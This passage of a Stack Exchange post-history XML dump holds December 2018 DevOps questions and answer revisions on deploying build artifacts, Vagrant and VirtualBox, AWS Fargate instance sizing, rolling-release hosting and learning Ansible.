  <row Id="18018" PostHistoryTypeId="33" PostId="5632" RevisionGUID="fd0f829f-38c0-42d7-b227-902886104550" CreationDate="2018-12-08T16:41:03.440" UserDisplayName="user5176" Comment="32" />
  <row Id="18019" PostHistoryTypeId="5" PostId="5644" RevisionGUID="e1d2af56-cf5a-448e-8ba5-5242b42e0db9" CreationDate="2018-12-08T17:04:42.170" UserId="10766" Comment="added 52 characters in body" Text="I recently learnt some basic devops and set my server on Digitalocean droplet with travis CI. As there is no travis deploy provider supports for Digitalocean, I have to write my own deploy script. However I have more than 50000 files i.e near about 1 GB of data. I tried scp, ftp, rsync but I feel it takes a lot of time. &#xD;&#xA;&#xD;&#xA;What are the transfer tools that is used in enterprise level ? Do they also use RSYNC or SCP. Or there are other tools that is better than these which are being used by medium level enterprises which I am not aware of. &#xD;&#xA;&#xD;&#xA;Apart from it I have another question is there any deployment script/tool that can parallely transfer my files over ssh ? &#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18020" PostHistoryTypeId="2" PostId="5646" RevisionGUID="ef8c6d03-9f5c-4cd7-bed1-8499e7806c3c" CreationDate="2018-12-08T17:17:41.253" UserId="11253" Text="Vagrant is a tool to create and customize virtual environments (containers and VMs) in a reproducible fashion (across platforms) using code and a virtualization provider of your choice. VirtualBox is only one of the virtualization providers it supports. Vagrant can also create VMs using Hyper-V, VMware and AWS.&#xD;&#xA;&#xD;&#xA;While VirtualBox's VBoxManage does let you create and configure VirtualBox VMs, Vagrant, by contrast, will allow you to create and configure VMs with the hypervisor provider of choice, which may or may not be VirtualBox. Vagrant is agnostic as to virtualization provider plug-in you use with it. Vagrant does not provide virtualization services itself.&#xD;&#xA;&#xD;&#xA;**The links below provide helpful insights.**&#xD;&#xA;&#xD;&#xA;An itemized comparison of Vagrant to Hypervisors can be viewed on this HasiCorp github issue:&#xD;&#xA;&#xD;&#xA;[https://github.com/hashicorp/vagrant/issues/4851][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;These links provide some additional overview of Vagrant that may help bring the difference into focus.&#xD;&#xA;&#xD;&#xA;[https://www.vagrantup.com/intro/index.html][1]&#xD;&#xA;&#xD;&#xA;[https://en.wikipedia.org/wiki/Vagrant_(software)][2]&#xD;&#xA;&#xD;&#xA;If you sign-up for a free account at LinuxAcademy you can view and work through this simple example of using these tools:&#xD;&#xA;https://linuxacademy.com/cp/socialize/index/type/community_post/id/22660&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.vagrantup.com/intro/index.html&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/Vagrant_(software)&#xD;&#xA;  [3]: https://github.com/hashicorp/vagrant/issues/4851" ContentLicense="CC BY-SA 4.0" />
  <row Id="18021" PostHistoryTypeId="4" PostId="5644" RevisionGUID="f0191586-5054-4358-b5c2-948c6eb2c028" CreationDate="2018-12-08T17:52:39.753" UserId="10766" Comment="edited title" Text="Tools used in enterprise level to transfer build artifacts from CI server to live server" ContentLicense="CC BY-SA 4.0" />
  <row Id="18022" PostHistoryTypeId="2" PostId="5647" RevisionGUID="ffa1cbb7-f3a5-42dc-b276-454155ea68d3" CreationDate="2018-12-08T18:28:27.127" UserId="11253" Text="From my experience this is very provider specific and requires evaluating the SLA offered for a particular service. &#xD;&#xA;&#xD;&#xA;For example the **siteground** cloud server offerings shown at&#xD;&#xA;[https://www.siteground.com/cloud-hosting.htm][1] state: *We preinstall and maintain all the software you need on your server.*&#xD;&#xA;&#xD;&#xA;While offerings from **liquidweb** they make it clear they will customize the support level to fit your requirements. The custom levels of management are detailed here https://www.liquidweb.com/support/compare/. You can chose the support level for the product you purchase, whether it's a cloud VPS or dedicated server hardware. IMHO most cloud products will probably be vendor managed and provide you a way to perform needed customization. But general statements are not useful when it comes to spending money. You have to confirm what your vendor is providing.&#xD;&#xA;&#xD;&#xA;  [1]: https://www.siteground.com/cloud-hosting.htm" ContentLicense="CC BY-SA 4.0" />
  <row Id="18023" PostHistoryTypeId="5" PostId="5638" RevisionGUID="442756b3-5bbd-4d72-8aa2-7f8e9361d737" CreationDate="2018-12-08T20:21:43.203" UserDisplayName="user5176" Comment="edited body" Text="Are all virtualization (OS/above-OS) utilities commonly considered DevOps utilities?&#xD;&#xA;&#xD;&#xA;These could be *OS virtalization* utilities like VirtualBox and Vagrant and maybe also WSL is considered as such and also, *above OS virtualization* tools like docker (AFAIK CMs like Ansible, Chef, Puppet and so forth aren't meant for &quot;virtuallizing&quot; anythin).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18024" PostHistoryTypeId="5" PostId="5522" RevisionGUID="1bb66da3-0fe7-4e89-8ba0-965fb5dc601e" CreationDate="2018-12-08T20:22:50.030" UserDisplayName="user5176" Comment="edited body" Text="I'm new to DevOps and quite troubled financially but I desire to put websites that I now host on a shared server environment (CetnOS 12.x.x) on some cloud like DigitalOcean or Lindoe (but without using their droplets with ready OSs - I want to install the OS myself with Vagrant).&#xD;&#xA;&#xD;&#xA;To have full automation of every upgrade possible (even OS itself say Ubuntu 18.04 to 20.04 or Apache 2.4 to Apache 3.4, PHP 7.4 to PHP 8.4 and so forth) I desire to use the VAD stack: Vagrant-Ansible-Docker.&#xD;&#xA;&#xD;&#xA;DigitalOcean's cheapest plan for example is this 5$ plan:&#xD;&#xA;&#xD;&#xA;    25 GB SSD&#xD;&#xA;    1 virtual CPU&#xD;&#xA;    1 GB RAM&#xD;&#xA;    1 TB monthly data-transfer&#xD;&#xA;&#xD;&#xA;I use the Drupal CMS (&gt;=8) for generally all my websites (which are generally small-scale perceptional websites for small business of free-professions).&#xD;&#xA;&#xD;&#xA;Each VPSE will contain up to 2 separate (non multi-stie) Drupal apps and each such app will usually take no more than 256 MB RAM, if I'm not exaggerating).&#xD;&#xA;&#xD;&#xA;## My question&#xD;&#xA;&#xD;&#xA;Can I base these such a X2 drupals installment on such 5$ VPSE with a VAD stack in decent performance? Or there's no way I could handle both VAD and X2 such Drupals on one such small VPSE?" ContentLicense="CC BY-SA 4.0" />
  <row Id="18025" PostHistoryTypeId="4" PostId="5638" RevisionGUID="442756b3-5bbd-4d72-8aa2-7f8e9361d737" CreationDate="2018-12-08T20:21:43.203" UserDisplayName="user5176" Comment="edited body" Text="Are all virtualization (OS/above-OS) utilities DevOps utilities?" ContentLicense="CC BY-SA 4.0" />
  <row Id="18026" PostHistoryTypeId="2" PostId="5648" RevisionGUID="7cfbfd8c-1fe5-4456-b39d-61583407b7e6" CreationDate="2018-12-08T23:52:46.030" UserDisplayName="user5176" Text="I need a book only about Ansible (without touching Vagrant, VirtualBox, Docker and other above-shell stuff)?&#xD;&#xA;&#xD;&#xA;About 6 months ago I tried reading the Ansible docs but these were totally un-understandable to me so I bought a good book by Jeff Geerling named &quot;Ansible for DevOps&quot; which is aimed of course, for DevOps and thus includes extensive elaboration on software like Vagrant (OS-level virtualization-management tool), VirtualBox (OS-virtualization tool that is managed with Vagrant) and if I'm not wrong Jeff also touches Docker there, but this is not what I seek and had hard time understanding much because I had no DevOps background at the time besides some Bash.&#xD;&#xA;&#xD;&#xA;I usually work with [IaaS][1] hosting services in which I can't even utilize Vagrant and VirtualBox and have no usage in Docker (I do well with Bash and some Bash extensions like Composer, Drush for Drupal and so forth which make Docker redundant for the projects I personally work on).&#xD;&#xA;&#xD;&#xA;Is there a book that teaches Ansible but focuses only on Ansible, say, something that does general introduction to YAML, then to creating and playing Ansible playbooks on Linux environments (native/WSL)? Some kind of &quot;Ansible for web developers&quot; or &quot;Ansible for general audience&quot;?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Infrastructure_as_a_service" ContentLicense="CC BY-SA 4.0" />
  <row Id="18027" PostHistoryTypeId="1" PostId="5648" RevisionGUID="7cfbfd8c-1fe5-4456-b39d-61583407b7e6" CreationDate="2018-12-08T23:52:46.030" UserDisplayName="user5176" Text="Is there a book only about Ansible (without touching Vagrant, VirtualBox, Docker and virtualization stuff)?" ContentLicense="CC BY-SA 4.0" />
  <row Id="18028" PostHistoryTypeId="3" PostId="5648" RevisionGUID="7cfbfd8c-1fe5-4456-b39d-61583407b7e6" CreationDate="2018-12-08T23:52:46.030" UserDisplayName="user5176" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18029" PostHistoryTypeId="5" PostId="5648" RevisionGUID="a9ebe524-253a-4edd-b83e-a9fbf097f2b3" CreationDate="2018-12-09T01:01:04.350" UserDisplayName="user5176" Comment="deleted 1 character in body" Text="I need a book only about Ansible (without touching Vagrant, VirtualBox, Docker and other above-shell stuff).&#xD;&#xA;&#xD;&#xA;About 6 months ago I tried reading the Ansible docs but these were totally un-understandable to me so I bought a good book by Jeff Geerling named &quot;Ansible for DevOps&quot; which is aimed of course for DevOps and thus includes extensive elaboration on software like Vagrant (OS-level virtualization-management tool), VirtualBox (OS-virtualization tool that is managed with Vagrant) and if I'm not wrong Jeff also touches Docker there, but this is not what I seek and had hard time understanding much because I had no DevOps background at the time besides some Bash.&#xD;&#xA;&#xD;&#xA;I usually work with [IaaS][1] hosting services in which I can't even utilize Vagrant and VirtualBox and have no usage in Docker (I do well with Bash and some Bash extensions like Composer, Drush for Drupal and so forth which make Docker redundant for the projects I personally work on).&#xD;&#xA;&#xD;&#xA;Is there a book that teaches Ansible but focuses only on Ansible, say, something that does general introduction to YAML, then to creating and playing Ansible playbooks on Linux environments (native/WSL)? Some kind of &quot;Ansible for web developers&quot; or &quot;Ansible for general audience&quot;?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Infrastructure_as_a_service" ContentLicense="CC BY-SA 4.0" />
  <row Id="18034" PostHistoryTypeId="50" PostId="3856" RevisionGUID="7f19cf20-6f6c-4577-a6f7-e84e61abcad9" CreationDate="2018-12-09T08:01:40.323" UserId="-1" />
  <row Id="18035" PostHistoryTypeId="5" PostId="5645" RevisionGUID="4e4384ab-c659-4219-a54e-bd7c7b114054" CreationDate="2018-12-09T08:09:02.467" UserId="10599" Comment="added 12 characters in body" Text="&#xA;Try [LFTP][1] that has commands to mirror or parallel copy. LFTP can run over many protocols.&#xA;&#xA;The likely problem you have is that you are transfering a lot of data from a build service to a single vm over the Internet. Enterprises use the same tools and protocols but they pay for more bandwidth else ensure that their builds and deploy happens within the same cloud provider. They then deploy to many servers in parallel using standard protocol with tools like Ansible. The networks within a single cloud provider (Azure, AWS, GCP) are prioritised. This means of you want fat deployment bandwidth, and to run on Digital Ocean, you should build on Digital Ocean. &#xA;&#xA;It may be the case that a very large amount of the 50k of files dont change on each build. So what you really want is a tool that looks at what files are already deployed. We can expect such tools to use file name, timestamps, file sizes and checksums to check whether a file needs uploading. If your build is stateless and creates 1G of fresh files each time their timestamps are going to be newer that the identical files already deployed. LFTP has an &quot;ignore time stamp&quot; option to avoid transfers of newer but identical files. See this question and answer https://serverfault.com/a/311670 &#xA;&#xA;&#xA;  [1]: https://www.cyberciti.biz/tips/linux-unix-download-accelerator.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="18036" PostHistoryTypeId="5" PostId="5643" RevisionGUID="89022ea0-fa89-4905-b9ca-40a23ece6597" CreationDate="2018-12-09T08:12:35.383" UserId="10599" Comment="added 72 characters in body" Text="It is a convenience that Jenkins will pull from git for you. With such a complex setup as needing to pull from two repos you can simply use a pipeline job that runs &quot;sh&quot; to explicitly git checkout the code and pull the submodules:&#xA;&#xA;    sh &quot;git checkout ${custom_env_var} ${custom_parameter}&#xA;&#xA;The good news with this slightly manual approach is that you can debug the sh commands to run on a dev server and cut paste them straight into a pipeline. Just start a “sh” session (usually it runs bash) and test the commands. " ContentLicense="CC BY-SA 4.0" />
  <row Id="18040" PostHistoryTypeId="2" PostId="5651" RevisionGUID="5f8a5ee5-98e1-4b88-be73-91e837746728" CreationDate="2018-12-09T08:55:12.453" UserId="1218" Text="I am trialling AWS ECS for the first time. I've run through [the tutorials][1] and now I'm trying to deploy an existing Docker Compose suite which I've been using on Digital Ocean for some time.&#xD;&#xA;&#xD;&#xA;I have four containers in my composition, an ExpressJS app, NGinx, MemcacheD, and a Python Flask API. These work OK on a Digital Ocean 1GB RAM host. &#xD;&#xA;&#xD;&#xA;I've been following the guide and specs here: https://github.com/aws/amazon-ecs-cli#launching-an-aws-fargate-task and other general ECS CLI guides.&#xD;&#xA;&#xD;&#xA;I've got ECS to make the cluster+service from the docker YAML (with a few tweaks), but when I try to UP the service, I get an error that the t2.micro EC2 which Fargate boots isn't big enough:&#xD;&#xA;&#xD;&#xA;    INFO[0016] (service CI) was unable to place a task because no container instance met all of its requirements. &#xD;&#xA;    The closest matching (container-instance ...) has insufficient memory available. &#xD;&#xA;    For more information, see the Troubleshooting section of the Amazon ECS Developer Guide.&#xD;&#xA;&#xD;&#xA;So I'd like to force it to boot an t2.small (2GB RAM) or higher.&#xD;&#xA;&#xD;&#xA;I see that you cannot directly tell Fargate to use a specific instant type from ECS - that setting is only for &quot;EC2&quot; direct, but I want to use Fargate to automate the instance management.&#xD;&#xA;&#xD;&#xA;I have tried using the `task_size` memory parameter (which I believe to be the correct way of informing Fargate of your application's requirements?) but this doesn't affect the choice of EC2 instance type which Fargate boots - it still boots the default t2.micro.&#xD;&#xA;&#xD;&#xA;I added this YML file with `--ecs-params`:&#xD;&#xA;&#xD;&#xA;    version: 1&#xD;&#xA;    task_definition:&#xD;&#xA;      task_size:&#xD;&#xA;        cpu_limit: 512&#xD;&#xA;        mem_limit: 2GB&#xD;&#xA;&#xD;&#xA;When I rebuild my cluster from scratch with this definition, I can see the 2GB is correctly configured under the taskDefinition page (`console.aws.amazon.com/ecs/home#/taskDefinitions/...`) - so the configuration is provided OK, but when I view the instance it's booted, it's still a t2.micro with 1GB RAM.&#xD;&#xA;&#xD;&#xA;Am I misunderstanding the task_size.memory parameter?&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs-cli-tutorial-fargate.html&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18041" PostHistoryTypeId="1" PostId="5651" RevisionGUID="5f8a5ee5-98e1-4b88-be73-91e837746728" CreationDate="2018-12-09T08:55:12.453" UserId="1218" Text="How do you instruct AWS FARGATE to provision a t2.small via ECS CLI instead of the default micro?" ContentLicense="CC BY-SA 4.0" />
  <row Id="18042" PostHistoryTypeId="3" PostId="5651" RevisionGUID="5f8a5ee5-98e1-4b88-be73-91e837746728" CreationDate="2018-12-09T08:55:12.453" UserId="1218" Text="&lt;amazon-web-services&gt;&lt;docker-compose&gt;&lt;amazon-ecs&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18043" PostHistoryTypeId="50" PostId="4736" RevisionGUID="5afe58fd-97a9-494d-b899-b242415ed77e" CreationDate="2018-12-09T09:00:45.140" UserId="-1" />
  <row Id="18044" PostHistoryTypeId="2" PostId="5652" RevisionGUID="628daa5b-ec38-43b1-9893-2c0721260569" CreationDate="2018-12-09T09:01:44.290" UserId="10599" Text="Ansible is an agentless tool that runs commands in parallel over ssh. That's very different from many other tools that have a client-server-agent model where you have to install an agent on every server you deploy onto. This means that as long as your IaaS has ssh access, and they all do, you can run Ansible. &#xA;&#xA;What is unique to every IaaS is how the networking is done or how hosts are created. Ansible for Devops starts after that assuming  you have networking to your hosts and ssh access to those hosts. The book doesn't and shouldnt have a section on how to setup a test env on every IaaS provider. It focuses on setting up a test env on your local laptop. Not because that teaches about IaaS it's a load of new skills you need to make your laptop &quot;an IaaS provider&quot;. It is because without that it's likely readers of the book aren't going to be able to master Ansible by using their laptop as a laboratory. &#xA;&#xA;If you work on devops at a bank they might not let you run vagrant or Docker locally or even have admin rights to your laptop or root access on VMs. Mastering Ansible in those situations is really hard. For example you only have a few test boxes and you have to run the playbooks hundred of times on them to debug. How can you be sure your finished playbook will work first time on production boxes that you cannot access until go-live weekend when it must all work first time? You cannot. Why? Because your last test run on you test hosts might only have worked because of some setting you changes on those hosts weeks ago that you forgot to put into the playbooks. &#xA;&#xA;People might ask &quot;what's that to do with me as I don't work at a bank&quot;. The point is that if you can run vagrant on your laptop and you can rapidly test and experiment you can learn faster. You can also delete it all, and set it up from scratch, as finally testing of your playbooks. That doesn't mean it will work first time on your IaaS if your ssh access to hosts and networking isn't setup but once they are you will be flying. &#xA;&#xA;Mastering devops isn't about &quot;I finally got it working on my setup&quot; its about &quot;I can automate this to work first time in live and I can constantly improve it&quot;. That is why no book called &quot;Ansible for Devops&quot; would be worth buying if it didn't show you how to local test a multi server setup as a laboratory on your laptop. &#xA;&#xA;I strongly recommend that people invest theor time in setting up a lab on their laptop as it will save you weeks or months over a relatively short time frame. &#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18045" PostHistoryTypeId="5" PostId="5652" RevisionGUID="973d4af5-063e-4683-a7cc-2e8efb90355d" CreationDate="2018-12-09T09:07:07.383" UserId="10599" Comment="added 255 characters in body; deleted 60 characters in body" Text="Ansible is an agentless tool that runs commands in parallel over ssh. That's very different from many other tools that have a client-server-agent model where you have to install an agent on every server you deploy onto. This means that as long as your IaaS has ssh access, and they all do, you can run Ansible. &#xA;&#xA;What is unique to every IaaS is how the networking is done or how hosts are created. Ansible for Devops starts after that assuming  you have networking to your hosts and ssh access to those hosts. The book doesn't and shouldnt have a section on how to setup a test env on every IaaS provider. It focuses on setting up a test env on your local laptop. Not because that teaches about IaaS it's a load of new skills you need to make your laptop &quot;an IaaS provider&quot;. It is because without that it's likely readers of the book aren't going to be able to master Ansible by using their laptop as a laboratory. &#xA;&#xA;If you work on devops at a bank they might not let you run vagrant or Docker locally or even have admin rights to your laptop or root access on VMs. Mastering Ansible in those situations is really hard. For example you only have a few test boxes and you have to run the playbooks hundred of times on them to debug. How can you be sure your finished playbook will work first time on production boxes that you cannot access until go-live weekend when it must all work first time? You cannot. Why? Because your last test run on you test hosts might only have worked because of some setting you changes on those hosts weeks ago that you forgot to put into the playbooks. &#xA;&#xA;People might ask &quot;what's that to do with me as I don't work at a bank&quot;. The point is that if you can run vagrant on your laptop and you can rapidly test and experiment you can learn faster. You can also delete it all, and set it up from scratch, as finally testing of your playbooks. That doesn't mean it will work first time on your IaaS if your ssh access to hosts and networking isn't setup but once they are you will be flying. &#xA;&#xA;Mastering devops isn't about &quot;I finally got it working on my setup&quot; its about &quot;I can automate this to work first time in live and I can constantly improve it&quot;. That is why no book called &quot;Ansible for Devops&quot; would be worth buying if it didn't show you how to local test a multi server setup as a laboratory on your laptop. &#xA;&#xA;I strongly recommend that people invest their time in setting up a lab on their laptop as it will save you weeks or months over a relatively short time frame. It's really annoying when your laptop has several different labs setup that get slightly conflicting software versions you have to debug but those few hours of extreme frustration pay back fast. &#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18046" PostHistoryTypeId="5" PostId="5652" RevisionGUID="39b5c401-925d-4654-91de-08847e173f1f" CreationDate="2018-12-09T09:42:54.660" UserId="10599" Comment="added 915 characters in body" Text="**TL;DR** blogs and videos are for the impatient. Books focus on mastery. Mastering devops means setting up a local lab for testing full repeatable automation so you can confidential push out changes continously. That is why the book &quot;Ansible for Devops&quot; covers local lab setup with vagrant. &#xA;&#xA;**Long Answer:**&#xA;&#xA;To the specific question is their a simplier book? Why would there be as blogs and videos will cover the &quot;5 minutes guide&quot;. Blogs or videos take hours or days but books take months or years of effort. The famous &quot;for dummies&quot; series breaks the mold but most technology books are going to be about mastery. As an &quot;IT veteran&quot; I had until recently overlooked how important videos are in learning new IT. Book publishers are having to adapt to the streaming generation and introductory books are going the way of the dodo. &#xA;&#xA;The rest of this answer says why Ansible for Devops focuses on local testing. &#xA;&#xA;Ansible is an agentless tool that runs commands in parallel over ssh. That's very different from many other tools that have a client-server-agent model where you have to install an agent on every server you deploy onto. This means that as long as your IaaS has ssh access, and they all do, you can run Ansible. &#xA;&#xA;What is unique to every IaaS is how the networking is done or how hosts are created. Ansible for Devops starts after that assuming  you have networking to your hosts and ssh access to those hosts. The book doesn't and shouldnt have a section on how to setup a test env on every IaaS provider. It focuses on setting up a test env on your local laptop. Not because that teaches about IaaS it's a load of new skills you need to make your laptop &quot;an IaaS provider&quot;. It is because without that it's likely readers of the book aren't going to be able to master Ansible by using their laptop as a laboratory. &#xA;&#xA;If you work on devops at a bank they might not let you run vagrant or Docker locally or even have admin rights to your laptop or root access on VMs. Mastering Ansible in those situations is really hard. For example you only have a few test boxes and you have to run the playbooks hundred of times on them to debug. How can you be sure your finished playbook will work first time on production boxes that you cannot access until go-live weekend when it must all work first time? You cannot. Why? Because your last test run on you test hosts might only have worked because of some setting you changes on those hosts weeks ago that you forgot to put into the playbooks. &#xA;&#xA;People might ask &quot;what's that to do with me as I don't work at a bank&quot;. The point is that if you can run vagrant on your laptop and you can rapidly test and experiment you can learn faster. You can also delete it all, and set it up from scratch, as finally testing of your playbooks. That doesn't mean it will work first time on your IaaS if your ssh access to hosts and networking isn't setup but once they are you will be flying. &#xA;&#xA;Mastering devops isn't about &quot;I finally got it working on my setup&quot; its about &quot;I can automate this to work first time in live and I can constantly improve it&quot;. That is why no book called &quot;Ansible for Devops&quot; would be worth buying if it didn't show you how to local test a multi server setup as a laboratory on your laptop. &#xA;&#xA;I strongly recommend that people invest their time in setting up a lab on their laptop as it will save you weeks or months over a relatively short time frame. It's really annoying when your laptop has several different labs setup that get slightly conflicting software versions you have to debug but those few hours of extreme frustration pay back fast. &#xA;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18047" PostHistoryTypeId="50" PostId="5384" RevisionGUID="cdecc220-5861-4985-a5d1-90851e9bceef" CreationDate="2018-12-09T10:00:50.433" UserId="-1" />
  <row Id="18048" PostHistoryTypeId="5" PostId="5652" RevisionGUID="c3850e87-012d-409d-afaf-7c65f3c7c6a6" CreationDate="2018-12-09T10:01:13.017" UserId="10599" Comment="added 7 characters in body; deleted 12 characters in body" Text="**TL;DR** blogs and videos are for the impatient. Books focus on mastery. Mastering devops means setting up a local lab for testing full repeatable automation so you can confidential push out changes continously. That is why the book &quot;Ansible for Devops&quot; covers local lab setup with vagrant. &#xA;&#xA;**Long Answer:**&#xA;&#xA;To the specific question is their a simplier book? Why would there be as blogs and videos will cover the &quot;5 minutes guide&quot;. Blogs or videos take hours or days but books take months or years of effort. The famous &quot;for dummies&quot; series breaks the mold but most technology books are going to be about mastery. As an &quot;IT veteran&quot; I had until recently overlooked how important videos are in learning new IT. Book publishers are having to adapt to the streaming generation and introductory books are going the way of the dodo. &#xA;&#xA;The rest of this answer says why Ansible for Devops focuses on local testing. &#xA;&#xA;Ansible is an agentless tool that runs commands in parallel over ssh. That's very different from many other tools that have a client-server-agent model where you have to install an agent on every server you deploy onto. This means that as long as your IaaS has ssh access, and they all do, you can run Ansible. &#xA;&#xA;What is unique to every IaaS is how the networking is done or how hosts are created. Ansible starts after that assuming you have networking to your hosts and ssh access to those hosts. The Ansible for Devops book doesn't and shouldnt have a section on how to setup a test env on every IaaS provider. It focuses on setting up a test env on your local laptop. Not because that teaches about IaaS it's a load of new skills you need to make your laptop &quot;an IaaS provider&quot;. It is because without that it's likely readers of the book aren't going to be able to master Ansible by using their laptop as a laboratory. &#xA;&#xA;If you work on devops at a bank they might not let you run vagrant or Docker locally or even have admin rights to your laptop or root access on VMs. Mastering Ansible in those situations is really hard. You only have a few test boxes and you have to run the playbooks hundred of times on them to debug. How can you be sure your finished playbook will work first time on production boxes that you cannot access until go-live weekend when it must all work first time? You cannot. Why? Because your last test run on you test hosts might only have worked because of some setting you changes on those hosts weeks ago that you forgot to put into the playbooks. &#xA;&#xA;People might ask &quot;what's that to do with me as I don't work at a bank&quot;. The point is that if you can run vagrant on your laptop and you can rapidly test and experiment you can learn faster. You can also delete it all, and set it up from scratch, as finally testing of your playbooks. That doesn't mean it will work first time on your IaaS if your ssh access to hosts and networking isn't setup but once they are you will be flying. &#xA;&#xA;Mastering devops isn't about &quot;I finally got it working on my setup&quot; its about &quot;I can automate this to work first time in live and I can constantly improve it&quot;. That is why no book called &quot;Ansible for Devops&quot; would be worth buying if it didn't show you how to local test a multi server setup as a laboratory on your laptop. &#xA;&#xA;I strongly recommend that people invest their time in setting up a lab on their laptop as it will save you weeks or months over a relatively short time frame. It's really annoying when your laptop has several different labs setup that get slightly conflicting software versions you have to debug but those few hours of extreme frustration pay back fast. &#xA;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18049" PostHistoryTypeId="5" PostId="5652" RevisionGUID="ca2ac450-850b-43c9-962c-fd3bfdff4ec4" CreationDate="2018-12-09T10:06:56.977" UserId="10599" Comment="deleted 14 characters in body; added 40 characters in body" Text="**TL;DR** blogs and videos are for the impatient. Books focus on mastery. Mastering devops means setting up a local lab for testing full repeatable automation so you can confidential push out changes continously. That is why the book &quot;Ansible for Devops&quot; covers local lab setup with vagrant. &#xA;&#xA;**Long Answer:**&#xA;&#xA;To the specific question is their a simplier book? Why would there be as blogs and videos will cover the &quot;5 minute guide&quot;. Blogs or videos take hours or days of effort but books take months or years. The famous &quot;for dummies&quot; series breaks the mold but most technology books are going to be about mastery. As an &quot;IT veteran&quot; I had until recently overlooked how important videos are in learning new IT. Book publishers are having to adapt to the streaming generation and introductory books are going the way of the dodo. &#xA;&#xA;The rest of this answer says why Ansible for Devops has early chapters on setting up a vagrant lab locally for testing. &#xA;&#xA;Ansible is an agentless tool that runs commands in parallel over ssh. That's very different from many other tools that have a client-server-agent model where you have to install an agent on every server you deploy onto. This means that as long as your IaaS has ssh access, and they all do, you can run Ansible. &#xA;&#xA;What is unique to every IaaS is how the networking is done or how hosts are created. Ansible starts after that assuming you have networking to your hosts and ssh access to those hosts. The Ansible for Devops book doesn't and shouldnt have a section on how to setup a test env on every IaaS provider. It focuses on setting up a test env on your local laptop. Not because that teaches about IaaS it's a load of new skills you need to make your laptop &quot;an IaaS provider&quot;. It is because without that it's likely readers of the book aren't going to be able to master Ansible by using their laptop as a laboratory. &#xA;&#xA;If you work on devops at a bank they might not let you run vagrant or Docker locally or even have admin rights to your laptop or root access on VMs. Mastering Ansible in those situations is really hard. You only have a few test boxes and you have to run the playbooks hundred of times on them to debug. How can you be sure your finished playbook will work first time on production boxes that you cannot access until go-live weekend when it must all work first time? You cannot. Why? Because your last test run on you test hosts might only have worked because of some setting you changes on those hosts weeks ago that you forgot to put into the playbooks. &#xA;&#xA;People might ask &quot;what's that to do with me as I don't work at a bank&quot;. The point is that if you can run vagrant on your laptop and you can rapidly test and experiment you can learn faster. You can also delete it all, and set it up from scratch, as finally testing of your playbooks. That doesn't mean it will work first time on your IaaS if your ssh access to hosts and networking isn't set up but once they are you will be flying. &#xA;&#xA;Mastering devops isn't about &quot;I finally got it working&quot; its about &quot;I can automate this to work first time in live and I can constantly improve it&quot;. That is why no book called &quot;Ansible for Devops&quot; would be worth buying if it didn't show you how to locally test against a multi server laboratory on your laptop. &#xA;&#xA;I strongly recommend that people invest their time in setting up a lab on their laptop. It will save you weeks or months over a relatively short time frame. It's really annoying when your laptop has several different labs setup that get slightly conflicting software versions you have to debug but those few hours of extreme frustration pay back fast. &#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18053" PostHistoryTypeId="2" PostId="5654" RevisionGUID="9e0e86f4-1f74-4e38-aa74-5c9d46fcdf16" CreationDate="2018-12-09T13:34:49.460" UserDisplayName="user5176" Text="Linode is one of these (see [linode.com][1]). Linode offers 5$ ArchLinux and yesterday I talked with their staff and two staff members confirmed to me that they can't find any plans to stop supporting it in the future, so that's good.&#xD;&#xA;&#xD;&#xA;[According to ArchLinux wiki here][2], Arch Linux is a **full rolling release** OS which is basically &quot;true rolling release OS&quot;:&#xD;&#xA;&#xD;&#xA;&gt; Linux Mint Debian Edition (LMDE) is based on Debian Stable and only&#xD;&#xA;&gt; receives updates in Mint packages and security updates. Arch is&#xD;&#xA;&gt; instead a full rolling-release distribution.&#xD;&#xA;&#xD;&#xA;I understand that to be the highest one can go in rolling upgrades and of release as well.&#xD;&#xA;&#xD;&#xA;  [1]: https://linode.com&#xD;&#xA;  [2]: https://wiki.archlinux.org/index.php/arch_compared_to_other_distributions" ContentLicense="CC BY-SA 4.0" />
  <row Id="18054" PostHistoryTypeId="5" PostId="5652" RevisionGUID="d504cf97-79f2-4938-9fd4-5e7eb68db5db" CreationDate="2018-12-09T14:37:19.440" UserId="10599" Comment="added 1 character in body; added 57 characters in body" Text="**TL;DR** blogs and videos are for the impatient. Books focus on mastery. Mastering Ansible means setting up a local lab for testing full repeatable automation so you can confidential push out changes continously. That is why the book &quot;Ansible for Devops&quot; covers local lab setup with vagrant. &#xA;&#xA;**Long Answer:**&#xA;&#xA;To the specific question is their a simplier book? Why would there be as blogs and videos will cover the &quot;5 minute guide&quot;. Blogs or videos take hours or days of effort but books take months or years. The famous &quot;for dummies&quot; series breaks the mold but most technology books are going to be about mastery. As an &quot;IT veteran&quot; I had until recently overlooked how important videos are in learning new IT. Book publishers are having to adapt to the streaming generation and introductory books are going the way of the dodo. &#xA;&#xA;The rest of this answer says why Ansible for Devops has early chapters on setting up a vagrant lab locally for testing. &#xA;&#xA;Ansible is an agentless tool that runs commands in parallel over ssh. That's very different from many other tools that have a client-server-agent model where you have to install an agent on every server you deploy onto. This means that as long as your IaaS has ssh access, and they all do, you can run Ansible. &#xA;&#xA;What is unique to every IaaS is how the networking is done or how hosts are created. Ansible starts after that assuming you have networking to your hosts and ssh access to those hosts. The Ansible for Devops book doesn't and shouldnt have a section on how to setup a test env on every IaaS provider. It focuses on setting up a test env on your local laptop. Not because that teaches about IaaS it's a load of new skills you need to make your laptop &quot;an IaaS 